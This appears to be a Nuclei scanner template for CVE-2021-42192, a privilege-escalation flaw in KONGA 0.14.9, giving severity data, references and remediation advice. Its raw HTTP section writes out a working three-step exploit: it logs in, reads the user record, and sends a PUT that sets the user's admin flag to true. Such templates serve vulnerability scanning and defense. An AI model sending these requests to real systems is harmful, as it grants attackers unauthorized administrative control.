id: CVE-2021-42192 info: name: KONGA 0.14.9 - Privilege Escalation author: rschio severity: high description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information or perform unauthorized actions. remediation: | Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor. reference: - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html - https://www.exploit-db.com/exploits/50521 - hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192 - https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing - https://github.com/pantsel/konga/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-42192 cwe-id: CWE-863 epss-score: 0.04146 epss-percentile: 0.91987 cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:* metadata: max-request: 3 vendor: konga_project product: konga tags: cve2021,cve,authenticated,edb,konga,intrusive,konga_project http: - raw: - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"password": "{{password}}", "identifier": "{{username}}"} - | POST /api/user/{{id}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}} Content-Type: application/json;charset=utf-8 {"token": "{{token}}"} - | PUT /api/user/{{id}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}} Content-Type: application/json;charset=utf-8 {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"} matchers-condition: and matchers: - type: dsl dsl: - contains(body_2, "\"admin\":false") - contains(body_3, "\"admin\":true") condition: and - type: word part: header words: - application/json - type: status status: - 200 extractors: - type: regex name: id group: 1 regex: - '"id":([0-9]+)' internal: true part: body - type: regex name: token group: 1 regex: - '"token":"(.*)"' internal: true part: body # digest: 4b0a00483046022100fdd3cd578eccb46c7597fa360d4be47d04933a30e1027352fcb1360511dc0a98022100f80fb95b6ce25488c7e214ac936292ba31abd86939eb4972f6b9675d55f05272:922c64590222798bb761d5b6d8e72950